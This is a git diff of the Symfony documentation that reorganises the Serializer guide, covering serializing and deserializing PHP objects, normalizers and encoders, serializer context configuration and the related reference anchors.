-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
-
-    $discriminator = new ClassDiscriminatorFromClassMetadata($classMetadataFactory);
-
-    $serializer = new Serializer(
-        [new ObjectNormalizer($classMetadataFactory, null, null, null, $discriminator)],
-        ['json' => new JsonEncoder()]
-    );
-
-Now configure your discriminator class mapping. Consider an application that
-defines an abstract ``CodeRepository`` class extended by ``GitHubCodeRepository``
-and ``BitBucketCodeRepository`` classes:
-
-.. configuration-block::
-
-    .. code-block:: php-attributes
-
-        namespace App;
-
-        use App\BitBucketCodeRepository;
-        use App\GitHubCodeRepository;
-        use Symfony\Component\Serializer\Annotation\DiscriminatorMap;
-
-        #[DiscriminatorMap(typeProperty: 'type', mapping: [
-            'github' => GitHubCodeRepository::class,
-            'bitbucket' => BitBucketCodeRepository::class,
-        ])]
-        abstract class CodeRepository
-        {
-            // ...
-        }
-
-    .. code-block:: yaml
-
-        App\CodeRepository:
-            discriminator_map:
-                type_property: type
-                mapping:
-                    github: 'App\GitHubCodeRepository'
-                    bitbucket: 'App\BitBucketCodeRepository'
-
-    .. code-block:: xml
-
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
-                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
-        >
-            <class name="App\CodeRepository">
-                <discriminator-map type-property="type">
-                    <mapping type="github" class="App\GitHubCodeRepository"/>
-                    <mapping type="bitbucket" class="App\BitBucketCodeRepository"/>
-                </discriminator-map>
-            </class>
-        </serializer>
-
-.. note::
-
-    The values of the ``mapping`` array option must be strings.
-    Otherwise, they will be cast into strings automatically.
-
-Once configured, the serializer uses the mapping to pick the correct class::
-
-    $serialized = $serializer->serialize(new GitHubCodeRepository(), 'json');
-    // {"type": "github"}
-
-    $repository = $serializer->deserialize($serialized, CodeRepository::class, 'json');
-    // instanceof GitHubCodeRepository
-
-Learn more
-----------
-
-.. toctree::
-    :maxdepth: 1
-    :glob:
-
-    /serializer
-
-.. seealso::
-
-    Normalizers for the Symfony Serializer Component supporting popular web API formats
-    (JSON-LD, GraphQL, OpenAPI, HAL, JSON:API) are available as part of the `API Platform`_ project.
-
-.. seealso::
-
-    A popular alternative to the Symfony Serializer component is the third-party
-    library, `JMS serializer`_ (versions before ``v1.12.0`` were released under
-    the Apache license, so incompatible with GPLv2 projects).
-
-.. _`PSR-1 standard`: https://www.php-fig.org/psr/psr-1/
-.. _`JMS serializer`: https://github.com/schmittjoh/serializer
-.. _RFC3339: https://tools.ietf.org/html/rfc3339#section-5.8
-.. _`options with libxml`: https://www.php.net/manual/en/libxml.constants.php
-.. _`DOM XML_* constants`: https://www.php.net/manual/en/dom.constants.php
-.. _JSON: https://www.json.org/json-en.html
-.. _XML: https://www.w3.org/XML/
-.. _YAML: https://yaml.org/
-.. _CSV: https://tools.ietf.org/html/rfc4180
-.. _`RFC 7807`: https://tools.ietf.org/html/rfc7807
-.. _`UTF-8 BOM`: https://en.wikipedia.org/wiki/Byte_order_mark
-.. _`Value Objects`: https://en.wikipedia.org/wiki/Value_object
-.. _`API Platform`: https://api-platform.com
-.. _`list of PHP timezones`: https://www.php.net/manual/en/timezones.php
-.. _`RFC 4122`: https://tools.ietf.org/html/rfc4122
-.. _`PHP reflection`: https://php.net/manual/en/book.reflection.php
-.. _`data URI`: https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URIs
-.. _seld/jsonlint: https://github.com/Seldaek/jsonlint
-.. _$flags: https://www.php.net/manual/en/json.constants.php
-.. _`a CDATA section`: https://en.wikipedia.org/wiki/CDATA
diff --git a/reference/attributes.rst b/reference/attributes.rst
index 4f784588e23..feadec70d3c 100644
--- a/reference/attributes.rst
+++ b/reference/attributes.rst
@@ -99,16 +99,18 @@ Security
 * :ref:`CurrentUser <security-json-login>`
 * :ref:`IsGranted <security-securing-controller-attributes>`
 
+.. _reference-attributes-serializer:
+
 Serializer
 ~~~~~~~~~~
 
-* :ref:`Context <serializer_serializer-context>`
+* :ref:`Context <serializer-context>`
 * :ref:`DiscriminatorMap <serializer_interfaces-and-abstract-classes>`
-* :ref:`Groups <component-serializer-attributes-groups-attributes>`
+* :ref:`Groups <serializer-groups-attribute>`
 * :ref:`Ignore <serializer_ignoring-attributes>`
 * :ref:`MaxDepth <serializer_handling-serialization-depth>`
-* :ref:`SerializedName <serializer_name-conversion>`
-* :ref:`SerializedPath <serializer-enabling-metadata-cache>`
+* :ref:`SerializedName <serializer-name-conversion>`
+* :ref:`SerializedPath <serializer-nested-structures>`
 
 Twig
 ~~~~
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index e194ca2afa5..8e1f6af81fa 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2981,7 +2981,7 @@ enable_annotations
 
 **type**: ``boolean`` **default**: ``true``
 
-If this option is enabled, serialization groups can be defined using annotations or attributes.
+Enables support for annotations or attributes in the serializer component.
 
 .. deprecated:: 6.4
 
@@ -2993,11 +2993,11 @@ enable_attributes
 
 **type**: ``boolean`` **default**: ``true``
 
-If this option is enabled, serialization groups can be defined using `PHP attributes`_.
+Enables support for `PHP attributes`_ in the serializer component.
 
 .. seealso::
 
-    For more information, see :ref:`serializer-using-serialization-groups-attributes`.
+    See :ref:`the reference <reference-attributes-serializer>` for a list of supported annotations.
 
 .. _reference-serializer-name_converter:
 
@@ -3013,8 +3013,7 @@ value.
 
 .. seealso::
 
-    For more information, see
-    :ref:`component-serializer-converting-property-names-when-serializing-and-deserializing`.
+    For more information, see :ref:`serializer-name-conversion`.
 
 .. _reference-serializer-circular_reference_handler:
 
diff --git a/reference/twig_reference.rst b/reference/twig_reference.rst
index 4a51940b96e..a34cfe58f0c 100644
--- a/reference/twig_reference.rst
+++ b/reference/twig_reference.rst
@@ -713,6 +713,8 @@ project's root directory:
 If the given file path is out of the project directory, a ``null`` value
 will be returned.
 
+.. _reference-twig-filter-serialize:
+
 serialize
 ~~~~~~~~~
 
diff --git a/serializer.rst b/serializer.rst
index 2900a49ba4e..4efdbf2dd45 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -1,10 +1,17 @@
 How to Use the Serializer
 =========================
 
-Symfony provides a serializer to serialize/deserialize to and from objects and
-different formats (e.g. JSON or XML). Before using it, read the
-:doc:`Serializer component docs </components/serializer>` to get familiar with
-its philosophy and the normalizers and encoders terminology.
+Symfony provides a serializer to transform data structures from one format
+to PHP objects and the other way around.
+
+This is most commonly used when building an API or communicating with third
+party APIs. The serializer can transform an incoming JSON request payload
+to a PHP object that is consumed by your application. Then, when generating
+the response, you can use the serializer to transform the PHP objects back
+to a JSON response.
+
+It can also be used to for instance load CSV configuration data as PHP
+objects, or even to transform between formats (e.g. YAML to XML).
 
 .. _activating_the_serializer:
 
@@ -12,287 +19,387 @@ Installation
 ------------
 
 In applications using :ref:`Symfony Flex <symfony-flex>`, run this command to
-install the ``serializer`` :ref:`Symfony pack <symfony-packs>` before using it:
+install the serializer :ref:`Symfony pack <symfony-packs>` before using it:
 
 .. code-block:: terminal
 
     $ composer require symfony/serializer-pack
 
-Using the Serializer Service
-----------------------------
+.. note::
+
+    The serializer pack also installs some commonly used optional
+    dependencies of the Serializer component. When using this component
+    outside the Symfony framework, you might want to start with the
+    ``symfony/serializer`` package and install optional dependencies if you
+    need them.
+
+.. seealso::
 
-Once enabled, the serializer service can be injected in any service where
-you need it or it can be used in a controller::
+    A popular alternative to the Symfony Serializer component is the third-party
+    library, `JMS serializer`_.
 
-    // src/Controller/DefaultController.php
-    namespace App\Controller;
+Serializing an Object
+---------------------
 
-    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-    use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Serializer\SerializerInterface;
+For this example, assume the following class exists in your project::
 
-    class DefaultController extends AbstractController
+    // src/Model/Person.php
+    namespace App\Model;
+
+    class Person
     {
-        public function index(SerializerInterface $serializer): Response
+        public function __construct(
+            private int $age,
+            private string $name,
+            private bool $sportsperson
+        ) {
+        }
+
+        public function getAge(): int
         {
-            // keep reading for usage examples
+            return $this->age;
         }
-    }
 
-Or you can use the ``serialize`` Twig filter in a template:
+        public function getName(): string
+        {
+            return $this->name;
+        }
 
-.. code-block:: twig
+        public function isSportsperson(): bool
+        {
+            return $this->sportsperson;
+        }
+    }
 
-    {{ object|serialize(format = 'json') }}
+If you want to transform objects of this type into a JSON structure (e.g.
+to send them via an API response), get the ``serializer`` service by using
+the :class:`Symfony\\Component\\Serializer\\SerializerInterface` parameter type:
 
-See the :doc:`twig reference </reference/twig_reference>` for
-more information.
+.. configuration-block::
 
-Adding Normalizers and Encoders
--------------------------------
+    .. code-block:: php-symfony
 
-Once enabled, the ``serializer`` service will be available in the container.
-It comes with a set of useful :ref:`encoders <component-serializer-encoders>`
-and :ref:`normalizers <component-serializer-normalizers>`.
-
-Encoders supporting the following formats are enabled:
-
-* JSON: :class:`Symfony\\Component\\Serializer\\Encoder\\JsonEncoder`
-* XML: :class:`Symfony\\Component\\Serializer\\Encoder\\XmlEncoder`
-* CSV: :class:`Symfony\\Component\\Serializer\\Encoder\\CsvEncoder`
-* YAML: :class:`Symfony\\Component\\Serializer\\Encoder\\YamlEncoder`
-
-As well as the following normalizers:
-
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeZoneNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateIntervalNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\FormErrorNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\DataUriNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\JsonSerializableNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\ArrayDenormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\BackedEnumNormalizer`
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\TranslatableNormalizer`
-
-Other :ref:`built-in normalizers <component-serializer-normalizers>` and
-custom normalizers and/or encoders can also be loaded by tagging them as
-:ref:`serializer.normalizer <reference-dic-tags-serializer-normalizer>` and
-:ref:`serializer.encoder <reference-dic-tags-serializer-encoder>`. It's also
-possible to set the priority of the tag in order to decide the matching order.
+        // src/Controller/PersonController.php
+        namespace App\Controller;
 
-.. danger::
+        use App\Model\Person;
+        use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+        use Symfony\Component\HttpFoundation\JsonResponse;
+        use Symfony\Component\HttpFoundation\Response;
+        use Symfony\Component\Serializer\SerializerInterface;
 
-    Always make sure to load the ``DateTimeNormalizer`` when serializing the
-    ``DateTime`` or ``DateTimeImmutable`` classes to avoid excessive memory
-    usage and exposing internal details.
+        class PersonController extends AbstractController
+        {
+            public function index(SerializerInterface $serializer): Response
+            {
+                $person = new Person('Jane Doe', 39, false);
 
-.. _serializer_serializer-context:
+                $jsonContent = $serializer->serialize($person, 'json');
+                // $jsonContent contains {"name":"Jane Doe","age":39,"sportsperson":false}
 
-Serializer Context
-------------------
+                return JsonResponse::fromJsonString($jsonContent);
+            }
+        }
 
-The serializer can define a context to control the (de)serialization of
-resources. This context is passed to all normalizers. For example:
+    .. code-block:: php-standalone
 
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer` uses
-  ``datetime_format`` key as date time format;
-* :class:`Symfony\\Component\\Serializer\\Normalizer\\AbstractObjectNormalizer`
-  uses ``preserve_empty_objects`` to represent empty objects as ``{}`` instead
-  of ``[]`` in JSON.
-* :class:`Symfony\\Component\\Serializer\\Serializer`
-  uses ``empty_array_as_object`` to represent empty arrays as ``{}`` instead
-  of ``[]`` in JSON.
+        use App\Model\Person;
+        use Symfony\Component\Serializer\Encoder\JsonEncoder;
+        use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
+        use Symfony\Component\Serializer\Serializer;
 
-You can pass the context as follows::
+        $encoders = [new JsonEncoder()];
+        $normalizers = [new ObjectNormalizer()];
+        $serializer = new Serializer($normalizers, $encoders);
 
-    $serializer->serialize($something, 'json', [
-        DateTimeNormalizer::FORMAT_KEY => 'Y-m-d H:i:s',
-    ]);
+        $person = new Person('Jane Done', 39, false);
 
-    $serializer->deserialize($someJson, Something::class, 'json', [
-        DateTimeNormalizer::FORMAT_KEY => 'Y-m-d H:i:s',
-    ]);
+        $jsonContent = $serializer->serialize($person, 'json');
+        // $jsonContent contains {"name":"Jane Doe","age":39,"sportsperson":false}
 
-You can also configure the default context through the framework
-configuration:
+The first parameter of the :method:`Symfony\\Component\\Serializer\\Serializer::serialize`
+is the object to be serialized and the second is used to choose the proper
+encoder (i.e. format), in this case the :class:`Symfony\\Component\\Serializer\\Encoder\\JsonEncoder`.
 
-.. configuration-block::
+.. tip::
 
-    .. code-block:: yaml
+    When your controller class extends ``AbstractController`` (like in the
+    example above), you can simplify your controller by using the
+    :method:`Symfony\\Bundle\\FrameworkBundle\\Controller\\AbstractController::json`
+    method to create a JSON response from an object using the Serializer::
 
-        # config/packages/framework.yaml
-        framework:
-            # ...
-            serializer:
-                default_context:
-                    enable_max_depth: true
-                    yaml_indentation: 2
+        class PersonController extends AbstractController
+        {
+            public function index(): Response
+            {
+                $person = new Person('Jane Doe', 39, false);
 
-    .. code-block:: xml
+                // when the Serializer is not available, this will use json_encode()
+                return $this->json($person);
+            }
+        }
 
-        <!-- config/packages/framework.xml -->
-        <framework:config>
-            <!-- ... -->
-            <framework:serializer>
-                <default-context enable-max-depth="true" yaml-indentation="2"/>
-            </framework:serializer>
-        </framework:config>
+Using the Serializer in Twig Templates
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-    .. code-block:: php
+You can also serialize objects in any Twig template using the ``serialize``
+filter:
 
-        // config/packages/framework.php
-        use Symfony\Component\Serializer\Encoder\YamlEncoder;
-        use Symfony\Component\Serializer\Normalizer\AbstractObjectNormalizer;
-        use Symfony\Config\FrameworkConfig;
+.. code-block:: twig
 
-        return static function (FrameworkConfig $framework): void {
-            $framework->serializer()
-                ->defaultContext([
-                    AbstractObjectNormalizer::ENABLE_MAX_DEPTH => true,
-                    YamlEncoder::YAML_INDENTATION => 2,
-                ])
-            ;
-        };
+    {{ person|serialize(format = 'json') }}
 
-.. versionadded:: 6.2
+See the :ref:`twig reference <reference-twig-filter-serialize>` for more
+information.
 
-    The option to configure YAML indentation was introduced in Symfony 6.2.
+Deserializing an Object
+-----------------------
 
-You can also specify the context on a per-property basis::
+APIs often also need to convert a formatted request body (e.g. JSON) to a
+PHP object. This process is called *deserialization* (also known as "hydration"):
 
 .. configuration-block::
 
-    .. code-block:: php-attributes
+    .. code-block:: php-symfony
 
-        namespace App\Model;
+        // src/Controller/PersonController.php
+        namespace App\Controller;
 
-        use Symfony\Component\Serializer\Annotation\Context;
-        use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
+        // ...
+        use Symfony\Component\HttpFoundation\Exception\BadRequestException;
+        use Symfony\Component\HttpFoundation\Request;
 
-        class Person
+        class PersonController extends AbstractController
         {
-            #[Context([DateTimeNormalizer::FORMAT_KEY => 'Y-m-d'])]
-            public \DateTimeInterface $createdAt;
-
             // ...
+
+            public function create(Request $request, SerializerInterface $serializer): Response
+            {
+                if ('json' !== $request->getContentTypeFormat()) {
+                    throw new BadRequestException('Unsupported content format');
+                }
+
+                $jsonData = $request->getContent();
+                $person = $serializer->deserialize($jsonData, Person::class, 'json');
+
+                // ... do something with $person and return a response
+            }
         }
 
-    .. code-block:: yaml
+    .. code-block:: php-standalone
 
-        # config/serializer/custom_config.yaml
-        App\Model\Person:
-            attributes:
-                createdAt:
-                    contexts:
-                        - { context: { datetime_format: 'Y-m-d' } }
+        use App\Model\Person;
+        use Symfony\Component\Serializer\Encoder\JsonEncoder;
+        use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
+        use Symfony\Component\Serializer\Serializer;
 
-    .. code-block:: xml
+        // ...
+        $jsonData = ...; // fetch JSON from the request
+        $person = $serializer->deserialize($jsonData, Person::class, 'json');
 
-        <!-- config/serializer/custom_config.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
-                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
-        >
-            <class name="App\Model\Person">
-                <attribute name="createdAt">
-                    <context>
-                        <entry name="datetime_format">Y-m-d</entry>
-                    </context>
-                </attribute>
-            </class>
-        </serializer>
+In this case, :method:`Symfony\\Component\\Serializer\\Serializer::deserialize`
+needs three parameters:
 
-Use the options to specify context specific to normalization or denormalization::
+#. The data to be decoded
+#. The name of the class this information will be decoded to
+#. The name of the encoder used to convert the data to an array (i.e. the
+   input format)
 
-    namespace App\Model;
+When sending a request to this controller (e.g.
+``{"first_name":"John Doe","age":54,"sportsperson":true}``), the serializer
+will create a new instance of ``Person`` and sets the properties to the
+values from the given JSON.
 
-    use Symfony\Component\Serializer\Annotation\Context;
-    use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
+.. note::
 
-    class Person
-    {
-        #[Context(
-            normalizationContext: [DateTimeNormalizer::FORMAT_KEY => 'Y-m-d'],
-            denormalizationContext: [DateTimeNormalizer::FORMAT_KEY => '!Y-m-d'], // To prevent to have the time from the moment of denormalization
-        )]
-        public \DateTimeInterface $createdAt;
+    By default, additional attributes that are not mapped to the
+    denormalized object will be ignored by the Serializer component. For
+    instance, if a request to the above controller contains ``{..., "city": "Paris"}``,
+    the ``city`` field will be ignored. You can also throw an exception in
+    these cases using the :ref:`serializer context <serializer-context>`
+    you'll learn about later.
 
-        // ...
-    }
+.. seealso::
 
-You can also restrict the usage of a context to some groups::
+    You can also deserialize data into an existing object instance (e.g.
+    when updating data). See :ref:`Deserializing in an Existing Object <serializer-populate-existing-object>`.
 
-    namespace App\Model;
+.. _serializer-process:
 
-    use Symfony\Component\Serializer\Annotation\Context;
-    use Symfony\Component\Serializer\Annotation\Groups;
-    use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
+The Serialization Process: Normalizers and Encoders
+---------------------------------------------------
 
-    class Person
-    {
-        #[Groups(['extended'])]
-        #[Context([DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339])]
-        #[Context(
-            context: [DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339_EXTENDED],
-            groups: ['extended'],
-        )]
-        public \DateTimeInterface $createdAt;
+The serializer uses a two-step process when (de)serializing objects:
 
-        // ...
-    }
+.. raw:: html
 
-The attribute can be repeated as much as needed on a single property.
-Context without group is always applied first. Then context for the matching
-groups are merged in the provided order.
+    <object data="_images/serializer/serializer_workflow.svg" type="image/svg+xml"
+        alt="A flow diagram showing how objects are serialized/deserialized. This is described in the subsequent paragraph."
+    ></object>
 
-If you repeat the same context in multiple properties, consider using the
-``#[Context]`` attribute on your class to apply that context configuration to
-all the properties of the class::
+In both directions, data is always first converted to an array. This splits
+the process in two seperate responsibilities:
 
-    namespace App\Model;
+Normalizers
+    These classes convert **objects** into **arrays** and vice versa. They
+    do the heavy lifting of finding out which class properties to
+    serialize, what value they hold and what name they should have.
+Encoders
+    Encoders convert **arrays** into a specific **format** and the other
+    way around. Each encoder knows exactly how to parse and generate a
+    specific format, for instance JSON or XML.
 
-    use Symfony\Component\Serializer\Annotation\Context;
-    use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
+Internally, the ``Serializer`` class uses a sorted list of normalizers and
+one encoder for the specific format when (de)serializing an object.
+
+There are several normalizers configured in the default ``serializer``
+service. The most important normalizer is the
+:class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`. This
+normalizer uses reflection and the :doc:`PropertyAccess component </components/property_access>`
+to transform between any object and an array. You'll learn more about
+:ref:`this and other normalizers <serializer-normalizers>` later.
+
+The default serializer is also configured with some encoders, covering the
+common formats used by HTTP applications:
+
+* :class:`Symfony\\Component\\Serializer\\Encoder\\JsonEncoder`
+* :class:`Symfony\\Component\\Serializer\\Encoder\\XmlEncoder`
+* :class:`Symfony\\Component\\Serializer\\Encoder\\CsvEncoder`
+* :class:`Symfony\\Component\\Serializer\\Encoder\\YamlEncoder`
+
+Read more about these encoders and their configuration in
+:doc:`/serializer/encoders`.
+
+.. tip::
+
+    The `API Platform`_ project provides encoders for more advanced
+    formats:
+
+    * `JSON-LD`_ along with the `Hydra Core Vocabulary`_
+    * `OpenAPI`_ v2 (formerly Swagger) and v3
+    * `GraphQL`_
+    * `JSON:API`_
+    * `HAL`_
+
+.. _serializer-context:
+
+Serializer Context
+~~~~~~~~~~~~~~~~~~
+
+The serializer, and its normalizers and encoders, are configured through
+the *serializer context*. This context can be configured in multiple
+places:
+
+* `Globally through the framework configuration <Configure a Default Context>`_
+* `While serializing/deserializing <Pass Context while Serializing/Deserializing>`_
+* `For a specific property <Configure Context on a Specific Property>`_
+
+You can use all three options at the same time. When the same setting is
+configured in multiple places, the latter in the list above will override
+the previous one (e.g. the setting on a specific property overrides the one
+configured globally).
+
+.. _serializer-default-context:
+
+Configure a Default Context
+...........................
+
+You can configure a default context in the framework configuration, for
+instance to disallow extra fields while deserializing:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/serializer.yaml
+        framework:
+            serializer:
+                default_context:
+                    allow_extra_attributes: false
+
+    .. code-block:: xml
+
+        <!-- config/packages/serializer.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:serializer>
+                    <framework:default-context>
+                        <framework:allow-extra-attributes>false</framework:allow-extra-attributes>
+                    </framework:default-context>
+                </framework:serializer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/serializer.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework): void {
+            $framework->serializer()
+                ->defaultContext('', [
+                    'allow_extra_attributes' => false,
+                ])
+            ;
+        };
+
+    .. code-block:: php-standalone
+
+        use Symfony\Component\Serializer\NameConverter\CamelCaseToSnakeCaseNameConverter;
+        use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
 
-    #[Context([DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339])]
-    #[Context(
-        context: [DateTimeNormalizer::FORMAT_KEY => \DateTime::RFC3339_EXTENDED],
-        groups: ['extended'],
-    )]
-    class Person
-    {
         // ...
-    }
+        $normalizers = [
+            new ObjectNormalizer(null, null, null, null, null, null, [
+                'allow_extra_attributes' => false,
+            ]),
+        ];
+        $serializer = new Serializer($normalizers, $encoders);
+
+Pass Context while Serializing/Deserializing
+............................................
+
+You can also configure the context for a single call to
+``serialize()``/``deserialize()``. For instance, you can skip
+properties with a ``null`` value only for one serialize call::
+
+    use Symfony\Component\Serializer\Normalizer\AbstractObjectNormalizer;
 
-.. versionadded:: 6.4
+    // ...
+    $serializer->serialize($person, 'json', [
+        AbstractObjectNormalizer::SKIP_NULL_VALUES => true
+    ]);
 
-    The ``#[Context]`` attribute was introduced in Symfony 6.4.
+    // next calls to serialize() will NOT skip null values
 
 .. _serializer-using-context-builders:
 
 Using Context Builders
-----------------------
+""""""""""""""""""""""
 
 .. versionadded:: 6.1
 
     Context builders were introduced in Symfony 6.1.
 
-To define the (de)serialization context, you can use "context builders", which
-are objects that help you to create that context by providing autocompletion,
-validation, and documentation::
+You can use "context builders" to help define the (de)serialization
+context. Context builders are PHP objects that provide autocompletion,
+validation, and documentation of context options::
 
     use Symfony\Component\Serializer\Context\Normalizer\DateTimeNormalizerContextBuilder;
 
-    $contextBuilder = (new DateTimeNormalizerContextBuilder())->withFormat('Y-m-d H:i:s');
+    $contextBuilder = (new DateTimeNormalizerContextBuilder())
+        ->withFormat('Y-m-d H:i:s');
     $serializer->serialize($something, 'json', $contextBuilder->toArray());
 
-Each normalizer/encoder has its related :ref:`context builder <component-serializer-context-builders>`.
-To create a more complex (de)serialization context, you can chain them using the
+Each normalizer/encoder has its related context builder. To create a more
+complex (de)serialization context, you can chain them using the
 ``withContext()`` method::
 
     use Symfony\Component\Serializer\Context\Encoder\CsvEncoderContextBuilder;
@@ -312,129 +419,111 @@ To create a more complex (de)serialization context, you can chain them using the
 
     $serializer->serialize($something, 'csv', $contextBuilder->toArray());
 
-You can also :doc:`create your context builders </serializer/custom_context_builders>`
-to have autocompletion, validation, and documentation for your custom context values.
-
-.. _serializer-using-serialization-groups-attributes:
-
-Using Serialization Groups Attributes
--------------------------------------
-
-You can add :ref:`#[Groups] attributes <component-serializer-attributes-groups-attributes>`
-to your class properties::
-
-    // src/Entity/Product.php
-    namespace App\Entity;
-
-    use Doctrine\ORM\Mapping as ORM;
-    use Symfony\Component\Serializer\Annotation\Groups;
-
-    #[ORM\Entity]
-    class Product
-    {
-        #[ORM\Id]
-        #[ORM\GeneratedValue]
-        #[ORM\Column(type: 'integer')]
-        #[Groups(['show_product', 'list_product'])]
-        private int $id;
-
-        #[ORM\Column(type: 'string', length: 255)]
-        #[Groups(['show_product', 'list_product'])]
-        private string $name;
-
-        #[ORM\Column(type: 'text')]
-        #[Groups(['show_product'])]
-        private string $description;
-    }
-
-You can also use the ``#[Groups]`` attribute on class level::
+.. seealso::
 
-    #[ORM\Entity]
-    #[Groups(['show_product'])]
-    class Product
-    {
-        #[ORM\Id]
-        #[ORM\GeneratedValue]
-        #[ORM\Column(type: 'integer')]
-        #[Groups(['list_product'])]
-        private int $id;
+    You can also :doc:`create your context builders </serializer/custom_context_builders>`
+    to have autocompletion, validation, and documentation for your custom
+    context values.
 
-        #[ORM\Column(type: 'string', length: 255)]
-        #[Groups(['list_product'])]
-        private string $name;
+Configure Context on a Specific Property
+........................................
 
-        #[ORM\Column(type: 'text')]
-        private string $description;
-    }
+At last, you can also configure context values on a specific object
+property. For instance, to configure the datetime format:
 
-In this example, the ``id`` and the ``name`` properties belong to the
-``show_product`` and ``list_product`` groups. The ``description`` property
-only belongs to the ``show_product`` group.
+.. configuration-block::
 
-.. versionadded:: 6.4
+    .. code-block:: php-attributes
 
-    The support of the ``#[Groups]`` attribute on class level was
-    introduced in Symfony 6.4.
+        // src/Model/Person.php
 
-Now that your groups are defined, you can choose which groups to use when
-serializing::
+        // ...
+        use Symfony\Component\Serializer\Attribute\Context;
+        use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
 
-    use Symfony\Component\Serializer\Context\Normalizer\ObjectNormalizerContextBuilder;
+        class Person
+        {
+            #[Context([DateTimeNormalizer::FORMAT_KEY => 'Y-m-d'])]
+            public \DateTimeImmutable $createdAt;
 
-    $context = (new ObjectNormalizerContextBuilder())
-        ->withGroups('show_product')
-        ->toArray();
+            // ...
+        }
 
-    $json = $serializer->serialize($product, 'json', $context);
+    .. code-block:: yaml
 
-.. tip::
+        # config/serializer/person.yaml
+        App\Model\Person:
+            attributes:
+                createdAt:
+                    contexts:
+                        - context: { datetime_format: 'Y-m-d' }
 
-    The value of the ``groups`` key can be a single string, or an array of strings.
+    .. code-block:: xml
 
-In addition to the ``#[Groups]`` attribute, the Serializer component also
-supports YAML or XML files. These files are automatically loaded when being
-stored in one of the following locations:
+        <!-- config/serializer/person.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
+                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
+        >
+            <class name="App\Model\Person">
+                <attribute name="createdAt">
+                    <context>
+                        <entry name="datetime_format">Y-m-d</entry>
+                    </context>
+                </attribute>
+            </class>
+        </serializer>
 
-* All ``*.yaml`` and ``*.xml`` files in the ``config/serializer/``
-  directory.
-* The ``serialization.yaml`` or ``serialization.xml`` file in
-  the ``Resources/config/`` directory of a bundle;
-* All ``*.yaml`` and ``*.xml`` files in the ``Resources/config/serialization/``
-  directory of a bundle.
+.. note::
 
-.. _serializer-enabling-metadata-cache:
+    When using YAML or XML, the mapping files must be placed in one of
+    these locations:
 
-Using Nested Attributes
------------------------
+    * All ``*.yaml`` and ``*.xml`` files in the ``config/serializer/``
+      directory.
+    * The ``serialization.yaml`` or ``serialization.xml`` file in the
+      ``Resources/config/`` directory of a bundle;
+    * All ``*.yaml`` and ``*.xml`` files in the ``Resources/config/serialization/``
+      directory of a bundle.
 
-To map nested properties, use the ``SerializedPath`` configuration to define
-their paths using a :doc:`valid PropertyAccess syntax </components/property_access>`:
+You can also specify a context specific to normalization or denormalization:
 
 .. configuration-block::
 
     .. code-block:: php-attributes
 
-        namespace App\Model;
